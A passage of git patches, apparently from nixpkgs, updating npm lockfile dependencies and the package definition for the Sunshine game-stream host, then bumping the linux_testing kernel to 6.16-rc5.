-      "integrity": "sha512-/hnE/qP5ZoGpol0a5mDi45bOd7t3tjYJBjsgCsivow7D48cJeV5l05RD82lPqi7gRiphZM37rnhW1l6ZoCNNnQ==",
+      "version": "3.5.17",
+      "resolved": "https://registry.npmjs.org/@vue/shared/-/shared-3.5.17.tgz",
+      "integrity": "sha512-CabR+UN630VnsJO/jHWYBC1YVXyMq94KKp6iF5MQgZJs5I8cmjw6oVMO1oDbtBkENSHSSn/UadWlW/OAgdmKrg==",
       "license": "MIT"
     },
     "node_modules/@zeit/schemas": {
@@ -660,6 +936,19 @@
         "node": ">= 0.6"
       }
     },
+    "node_modules/acorn": {
+      "version": "8.15.0",
+      "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz",
+      "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==",
+      "dev": true,
+      "license": "MIT",
+      "bin": {
+        "acorn": "bin/acorn"
+      },
+      "engines": {
+        "node": ">=0.4.0"
+      }
+    },
     "node_modules/ajv": {
       "version": "8.12.0",
       "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz",
@@ -746,13 +1035,16 @@
       }
     },
     "node_modules/ansi-styles": {
-      "version": "6.2.1",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz",
-      "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==",
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
       "dev": true,
       "license": "MIT",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
       "engines": {
-        "node": ">=12"
+        "node": ">=8"
       },
       "funding": {
         "url": "https://github.com/chalk/ansi-styles?sponsor=1"
@@ -800,10 +1092,17 @@
       "dev": true,
       "license": "MIT"
     },
+    "node_modules/before-after-hook": {
+      "version": "2.2.3",
+      "resolved": "https://registry.npmjs.org/before-after-hook/-/before-after-hook-2.2.3.tgz",
+      "integrity": "sha512-NzUnlZexiaH/46WDhANlyR2bXRopNg4F/zuSA3OpZnllCUgRaOF2znDioDWrmbNVsuZk6l9pMquQB38cfBZwkQ==",
+      "dev": true,
+      "license": "Apache-2.0"
+    },
     "node_modules/bootstrap": {
-      "version": "5.3.3",
-      "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-5.3.3.tgz",
-      "integrity": "sha512-8HLCdWgyoMguSO9o+aH+iuZ+aht+mzW0u3HIMzVu7Srrpv7EBBxTnrFlSCskwdY1+EOFQSm7uMJhNQHkdPcmjg==",
+      "version": "5.3.7",
+      "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-5.3.7.tgz",
+      "integrity": "sha512-7KgiD8UHjfcPBHEpDNg+zGz8L3LqR3GVwqZiBRFX04a1BCArZOz1r2kjly2HQ0WokqTO0v1nF+QAt8dsW4lKlw==",
       "funding": [
         {
           "type": "github",
@@ -842,10 +1141,23 @@
         "url": "https://github.com/sponsors/sindresorhus"
       }
     },
+    "node_modules/boxen/node_modules/chalk": {
+      "version": "5.4.1",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.4.1.tgz",
+      "integrity": "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": "^12.17.0 || ^14.13 || >=16.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
     "node_modules/brace-expansion": {
-      "version": "1.1.11",
-      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
-      "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
+      "version": "1.1.12",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz",
+      "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -877,13 +1189,17 @@
       }
     },
     "node_modules/chalk": {
-      "version": "5.0.1",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.0.1.tgz",
-      "integrity": "sha512-Fo07WOYGqMfCWHOzSXOt2CxDbC6skS/jO9ynEcmpANMoPrD+W1r1K6Vx7iNm+AQmETU1Xr2t+n8nzkV9t6xh3w==",
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
       "dev": true,
       "license": "MIT",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
       "engines": {
-        "node": "^12.17.0 || ^14.13 || >=16.0.0"
+        "node": ">=10"
       },
       "funding": {
         "url": "https://github.com/chalk/chalk?sponsor=1"
@@ -905,39 +1221,6 @@
         "url": "https://github.com/chalk/chalk-template?sponsor=1"
       }
     },
-    "node_modules/chalk-template/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dev": true,
-      "license": "MIT",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/chalk-template/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dev": true,
-      "license": "MIT",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
     "node_modules/cli-boxes": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-3.0.0.tgz",
@@ -1079,6 +1362,13 @@
         "node": ">=4.0.0"
       }
     },
+    "node_modules/deprecation": {
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/deprecation/-/deprecation-2.3.1.tgz",
+      "integrity": "sha512-xmHIy4F3scKVwMsQ4WnVaS8bHOx0DmVwRywosKhaILI0ywMDWPtBSku2HNxRvF7jtwDRsoEwYQSfbxj8b7RlJQ==",
+      "dev": true,
+      "license": "ISC"
+    },
     "node_modules/eastasianwidth": {
       "version": "0.2.0",
       "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz",
@@ -1196,16 +1486,6 @@
       "dev": true,
       "license": "MIT"
     },
-    "node_modules/fast-url-parser": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/fast-url-parser/-/fast-url-parser-1.1.3.tgz",
-      "integrity": "sha512-5jOCVXADYNuRkKFzNJ0dCCewsZiYo0dz8QNYljkOpFC6r2U4OBmKtvm/Tsuh4w1YYdDqDb31a8TVhBJ2OJKdqQ==",
-      "dev": true,
-      "license": "MIT",
-      "dependencies": {
-        "punycode": "^1.3.2"
-      }
-    },
     "node_modules/filelist": {
       "version": "1.0.4",
       "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.4.tgz",
@@ -1217,9 +1497,9 @@
       }
     },
     "node_modules/filelist/node_modules/brace-expansion": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz",
-      "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==",
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz",
+      "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -1385,39 +1665,6 @@
         "node": ">=10"
       }
     },
-    "node_modules/jake/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dev": true,
-      "license": "MIT",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/jake/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dev": true,
-      "license": "MIT",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
     "node_modules/json-schema-traverse": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
@@ -1442,9 +1689,9 @@
       "license": "MIT"
     },
     "node_modules/mime-db": {
-      "version": "1.53.0",
-      "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.53.0.tgz",
-      "integrity": "sha512-oHlN/w+3MQ3rba9rqFr6V/ypF10LSkdwUysQL7GkXoTgIWeV+tcXGA852TBxH+gsh8UWoyhR1hKcoMJTuWflpg==",
+      "version": "1.54.0",
+      "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz",
+      "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==",
       "dev": true,
       "license": "MIT",
       "engines": {
@@ -1515,9 +1762,9 @@
       "license": "MIT"
     },
     "node_modules/nanoid": {
-      "version": "3.3.8",
-      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.8.tgz",
-      "integrity": "sha512-WNLf5Sd8oZxOm+TzppcYk8gVOgP+l58xNy58D0nbUnOxOWRWvlcCV4kUF7ltmI6PsrLl/BgKEyS4mqsGChFN0w==",
+      "version": "3.3.11",
+      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz",
+      "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==",
       "funding": [
         {
           "type": "github",
@@ -1565,6 +1812,16 @@
         "node": ">= 0.8"
       }
     },
+    "node_modules/once": {
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
+      "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "wrappy": "1"
+      }
+    },
     "node_modules/onetime": {
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz",
@@ -1599,9 +1856,9 @@
       }
     },
     "node_modules/path-to-regexp": {
-      "version": "2.2.1",
-      "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-2.2.1.tgz",
-      "integrity": "sha512-gu9bD6Ta5bwGrrU8muHzVOBFFREpp2iRkVfhBJahwJ6p6Xw20SjT0MxLnwkjOibQmGSYhiUnf2FLe7k+jcFmGQ==",
+      "version": "3.3.0",
+      "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-3.3.0.tgz",
+      "integrity": "sha512-qyCH421YQPS2WFDxDjftfc1ZR5WKQzVzqsp4n9M2kQhVOo/ByahFoUNJfl58kOcEGfQ//7weFTDhm+ss8Ecxgw==",
       "dev": true,
       "license": "MIT"
     },
@@ -1612,9 +1869,9 @@
       "license": "ISC"
     },
     "node_modules/postcss": {
-      "version": "8.5.1",
-      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.1.tgz",
-      "integrity": "sha512-6oz2beyjc5VMn/KV1pPw8fliQkhBXrVn1Z3TVyqZxU8kZpzEKhBdmCFqI6ZbmGtamQvQGuU1sgPTk8ZrXDD7jQ==",
+      "version": "8.5.6",
+      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz",
+      "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==",
       "funding": [
         {
           "type": "opencollective",
@@ -1631,7 +1888,7 @@
       ],
       "license": "MIT",
       "dependencies": {
-        "nanoid": "^3.3.8",
+        "nanoid": "^3.3.11",
         "picocolors": "^1.1.1",
         "source-map-js": "^1.2.1"
       },
@@ -1640,11 +1897,14 @@
       }
     },
     "node_modules/punycode": {
-      "version": "1.4.1",
-      "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz",
-      "integrity": "sha512-jmYNElW7yvO7TV33CjSmvSiE2yco3bV2czu/OzDKdMNVZQWfxCblURLhf+47syQRBntjfLdd/H0egrzIG+oaFQ==",
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",
+      "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==",
       "dev": true,
-      "license": "MIT"
+      "license": "MIT",
+      "engines": {
+        "node": ">=6"
+      }
     },
     "node_modules/range-parser": {
       "version": "1.2.0",
@@ -1730,10 +1990,23 @@
       "dev": true,
       "license": "MIT"
     },
+    "node_modules/semver": {
+      "version": "7.7.2",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz",
+      "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==",
+      "dev": true,
+      "license": "ISC",
+      "bin": {
+        "semver": "bin/semver.js"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
     "node_modules/serve": {
-      "version": "14.2.3",
-      "resolved": "https://registry.npmjs.org/serve/-/serve-14.2.3.tgz",
-      "integrity": "sha512-VqUFMC7K3LDGeGnJM9h56D3XGKb6KGgOw0cVNtA26yYXHCcpxf3xwCTUaQoWlVS7i8Jdh3GjQkOB23qsXyjoyQ==",
+      "version": "14.2.4",
+      "resolved": "https://registry.npmjs.org/serve/-/serve-14.2.4.tgz",
+      "integrity": "sha512-qy1S34PJ/fcY8gjVGszDB3EXiPSk5FKhUa7tQe0UPRddxRidc2V6cNHPNewbE1D7MAkgLuWEt3Vw56vYy73tzQ==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -1746,7 +2019,7 @@
         "clipboardy": "3.0.0",
         "compression": "1.7.4",
         "is-port-reachable": "4.0.0",
-        "serve-handler": "6.1.5",
+        "serve-handler": "6.1.6",
         "update-check": "1.5.4"
       },
       "bin": {
@@ -1757,19 +2030,18 @@
       }
     },
     "node_modules/serve-handler": {
-      "version": "6.1.5",
-      "resolved": "https://registry.npmjs.org/serve-handler/-/serve-handler-6.1.5.tgz",
-      "integrity": "sha512-ijPFle6Hwe8zfmBxJdE+5fta53fdIY0lHISJvuikXB3VYFafRjMRpOffSPvCYsbKyBA7pvy9oYr/BT1O3EArlg==",
+      "version": "6.1.6",
+      "resolved": "https://registry.npmjs.org/serve-handler/-/serve-handler-6.1.6.tgz",
+      "integrity": "sha512-x5RL9Y2p5+Sh3D38Fh9i/iQ5ZK+e4xuXRd/pGbM4D13tgo/MGwbttUk8emytcr1YYzBYs+apnUngBDFYfpjPuQ==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
         "bytes": "3.0.0",
         "content-disposition": "0.5.2",
-        "fast-url-parser": "1.1.3",
         "mime-types": "2.1.18",
         "minimatch": "3.1.2",
         "path-is-inside": "1.0.2",
-        "path-to-regexp": "2.2.1",
+        "path-to-regexp": "3.3.0",
         "range-parser": "1.2.0"
       }
     },
@@ -1796,6 +2068,19 @@
         "node": ">= 0.6"
       }
     },
+    "node_modules/serve/node_modules/chalk": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.0.1.tgz",
+      "integrity": "sha512-Fo07WOYGqMfCWHOzSXOt2CxDbC6skS/jO9ynEcmpANMoPrD+W1r1K6Vx7iNm+AQmETU1Xr2t+n8nzkV9t6xh3w==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": "^12.17.0 || ^14.13 || >=16.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
     "node_modules/shebang-command": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
@@ -1902,6 +2187,16 @@
         "node": ">=8"
       }
     },
+    "node_modules/tunnel": {
+      "version": "0.0.6",
+      "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz",
+      "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.6.11 <=0.7.0 || >=0.7.3"
+      }
+    },
     "node_modules/type-fest": {
       "version": "2.19.0",
       "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-2.19.0.tgz",
@@ -1915,6 +2210,40 @@
         "url": "https://github.com/sponsors/sindresorhus"
       }
     },
+    "node_modules/undici": {
+      "version": "5.29.0",
+      "resolved": "https://registry.npmjs.org/undici/-/undici-5.29.0.tgz",
+      "integrity": "sha512-raqeBD6NQK4SkWhQzeYKd1KmIG6dllBOTt55Rmkt4HtI9mwdWtJljnrXjAFUBLTSN67HWrOIZ3EPF4kjUw80Bg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@fastify/busboy": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=14.0"
+      }
+    },
+    "node_modules/universal-user-agent": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-6.0.1.tgz",
+      "integrity": "sha512-yCzhz6FN2wU1NiiQRogkTQszlQSlpWaw8SvVegAc+bDxbzHgh1vX8uIe8OYyMH6DwH+sdTJsgMl36+mSMdRJIQ==",
+      "dev": true,
+      "license": "ISC"
+    },
+    "node_modules/unplugin": {
+      "version": "1.16.1",
+      "resolved": "https://registry.npmjs.org/unplugin/-/unplugin-1.16.1.tgz",
+      "integrity": "sha512-4/u/j4FrCKdi17jaxuJA0jClGxB1AvU2hw/IuayPc4ay1XGaJs/rbb4v5WKwAjNifjmXK9PIFyuPiaK8azyR9w==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "acorn": "^8.14.0",
+        "webpack-virtual-modules": "^0.6.2"
+      },
+      "engines": {
+        "node": ">=14.0.0"
+      }
+    },
     "node_modules/update-check": {
       "version": "1.5.4",
       "resolved": "https://registry.npmjs.org/update-check/-/update-check-1.5.4.tgz",
@@ -1936,16 +2265,6 @@
         "punycode": "^2.1.0"
       }
     },
-    "node_modules/uri-js/node_modules/punycode": {
-      "version": "2.3.1",
-      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",
-      "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==",
-      "dev": true,
-      "license": "MIT",
-      "engines": {
-        "node": ">=6"
-      }
-    },
     "node_modules/vary": {
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
@@ -1957,9 +2276,9 @@
       }
     },
     "node_modules/vite": {
-      "version": "4.5.2",
-      "resolved": "https://registry.npmjs.org/vite/-/vite-4.5.2.tgz",
-      "integrity": "sha512-tBCZBNSBbHQkaGyhGCDUGqeo2ph8Fstyp6FMSvTtsXeZSPpSMGlviAOav2hxVTqFcx8Hj/twtWKsMJXNY0xI8w==",
+      "version": "4.5.14",
+      "resolved": "https://registry.npmjs.org/vite/-/vite-4.5.14.tgz",
+      "integrity": "sha512-+v57oAaoYNnO3hIu5Z/tJRZjq5aHM2zDve9YZ8HngVHbhk66RStobhb1sqPMIPEleV6cNKYK4eGrAbE9Ulbl2g==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -2023,16 +2342,16 @@
       }
     },
     "node_modules/vue": {
-      "version": "3.5.13",
-      "resolved": "https://registry.npmjs.org/vue/-/vue-3.5.13.tgz",
-      "integrity": "sha512-wmeiSMxkZCSc+PM2w2VRsOYAZC8GdipNFRTsLSfodVqI9mbejKeXEGr8SckuLnrQPGe3oJN5c3K0vpoU9q/wCQ==",
+      "version": "3.5.17",
+      "resolved": "https://registry.npmjs.org/vue/-/vue-3.5.17.tgz",
+      "integrity": "sha512-LbHV3xPN9BeljML+Xctq4lbz2lVHCR6DtbpTf5XIO6gugpXUN49j2QQPcMj086r9+AkJ0FfUT8xjulKKBkkr9g==",
       "license": "MIT",
       "dependencies": {
-        "@vue/compiler-dom": "3.5.13",
-        "@vue/compiler-sfc": "3.5.13",
-        "@vue/runtime-dom": "3.5.13",
-        "@vue/server-renderer": "3.5.13",
-        "@vue/shared": "3.5.13"
+        "@vue/compiler-dom": "3.5.17",
+        "@vue/compiler-sfc": "3.5.17",
+        "@vue/runtime-dom": "3.5.17",
+        "@vue/server-renderer": "3.5.17",
+        "@vue/shared": "3.5.17"
       },
       "peerDependencies": {
         "typescript": "*"
@@ -2044,13 +2363,13 @@
       }
     },
     "node_modules/vue-i18n": {
-      "version": "11.0.1",
-      "resolved": "https://registry.npmjs.org/vue-i18n/-/vue-i18n-11.0.1.tgz",
-      "integrity": "sha512-pWAT8CusK8q9/EpN7V3oxwHwxWm6+Kp2PeTZmRGvdZTkUzMQDpbbmHp0TwQ8xw04XKm23cr6B4GL72y3W8Yekg==",
+      "version": "11.1.7",
+      "resolved": "https://registry.npmjs.org/vue-i18n/-/vue-i18n-11.1.7.tgz",
+      "integrity": "sha512-CDrU7Cmyh1AxJjerQmipV9nVa//exVBdhTcWGlbfcDCN8bKp/uAe7Le6IoN4//5emIikbsSKe9Uofmf/xXkhOA==",
       "license": "MIT",
       "dependencies": {
-        "@intlify/core-base": "11.0.1",
-        "@intlify/shared": "11.0.1",
+        "@intlify/core-base": "11.1.7",
+        "@intlify/shared": "11.1.7",
         "@vue/devtools-api": "^6.5.0"
       },
       "engines": {
@@ -2063,6 +2382,13 @@
         "vue": "^3.0.0"
       }
     },
+    "node_modules/webpack-virtual-modules": {
+      "version": "0.6.2",
+      "resolved": "https://registry.npmjs.org/webpack-virtual-modules/-/webpack-virtual-modules-0.6.2.tgz",
+      "integrity": "sha512-66/V2i5hQanC51vBQKPH4aI8NMAcBW59FVBs+rC7eGHupMyfn34q7rZIE+ETlJ+XTevqfUhVVBgSUNSW2flEUQ==",
+      "dev": true,
+      "license": "MIT"
+    },
     "node_modules/which": {
       "version": "2.0.2",
       "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
@@ -2112,6 +2438,36 @@
       "funding": {
         "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
       }
+    },
+    "node_modules/wrap-ansi/node_modules/ansi-styles": {
+      "version": "6.2.1",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz",
+      "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/wrappy": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
+      "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==",
+      "dev": true,
+      "license": "ISC"
+    },
+    "node_modules/zod": {
+      "version": "3.25.67",
+      "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.67.tgz",
+      "integrity": "sha512-idA2YXwpCdqUSKRCACDE6ItZD9TZzy3OZMtpfLoh6oPR47lipysRrJfjzMqFxQ3uJuUPyUeWe1r9vLH33xO/Qw==",
+      "dev": true,
+      "license": "MIT",
+      "funding": {
+        "url": "https://github.com/sponsors/colinhacks"
+      }
     }
   }
 }
diff --git a/pkgs/by-name/su/sunshine/package.nix b/pkgs/by-name/su/sunshine/package.nix
index 3af68dcfa3d4..3a526e753712 100644
--- a/pkgs/by-name/su/sunshine/package.nix
+++ b/pkgs/by-name/su/sunshine/package.nix
@@ -57,13 +57,13 @@ let
 in
 stdenv'.mkDerivation rec {
   pname = "sunshine";
-  version = "2025.122.141614";
+  version = "2025.628.4510";
 
   src = fetchFromGitHub {
     owner = "LizardByte";
     repo = "Sunshine";
     tag = "v${version}";
-    hash = "sha256-rHf+lj5dycXA//fu3RPuimYz2hrJnoVt7GA2xuHGXJk=";
+    hash = "sha256-xNWFo6a4YrJ+tBFTSReoAEi1oZ4DSguBEusizWeWKYY=";
     fetchSubmodules = true;
   };
 
@@ -71,7 +71,7 @@ stdenv'.mkDerivation rec {
   ui = buildNpmPackage {
     inherit src version;
     pname = "sunshine-ui";
-    npmDepsHash = "sha256-sWCmx1dMEyRyuYeeuqAjHZLVnckskgQO4saFM64s4Y4=";
+    npmDepsHash = "sha256-kUixeLf8prsWQolg1v+vJ5rvwKZOsU+88+0hVOgTZ0A=";
 
     # use generated package-lock.json as upstream does not provide one
     postPatch = ''
@@ -194,7 +194,7 @@ stdenv'.mkDerivation rec {
     substituteInPlace cmake/targets/common.cmake \
       --replace-fail 'find_program(NPM npm REQUIRED)' ""
 
-    substituteInPlace packaging/linux/sunshine.desktop \
+    substituteInPlace packaging/linux/dev.lizardbyte.app.Sunshine.desktop \
       --subst-var-by PROJECT_NAME 'Sunshine' \
       --subst-var-by PROJECT_DESCRIPTION 'Self-hosted game stream host for Moonlight' \
       --subst-var-by SUNSHINE_DESKTOP_ICON 'sunshine' \
@@ -230,7 +230,7 @@ stdenv'.mkDerivation rec {
   '';
 
   postInstall = ''
-    install -Dm644 ../packaging/linux/${pname}.desktop $out/share/applications/${pname}.desktop
+    install -Dm644 ../packaging/linux/dev.lizardbyte.app.Sunshine.desktop $out/share/applications/dev.lizardbyte.app.Sunshine.desktop
   '';
 
   doInstallCheck = true;

From aab6ac44e5735a8fde971fa56ee5011e538ae9f1 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 10 Jul 2025 18:31:30 +0300
Subject: [PATCH 2239/4511] linux_testing: 6.16-rc4 -> 6.16-rc5

(cherry picked from commit faa564ba7cda187284e5c623e4df67aa5d3bdb31)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index ab81556ac9db..c5535c30a072 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -1,7 +1,7 @@
 {
     "testing": {
-        "version": "6.16-rc4",
-        "hash": "sha256:1h66i51d8m4zwbrxh7xayvqsnkrzj5wipf7rm8szyqmf86isjkpi"
+        "version": "6.16-rc5",
+        "hash": "sha256:0will8rmmdlcxyrflr778264h9pfv67cpqqnas112r248vicnkny"
     },
     "6.1": {
         "version": "6.1.143",

From 536f479813f06e1df2b669509b7b768e311a10b5 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
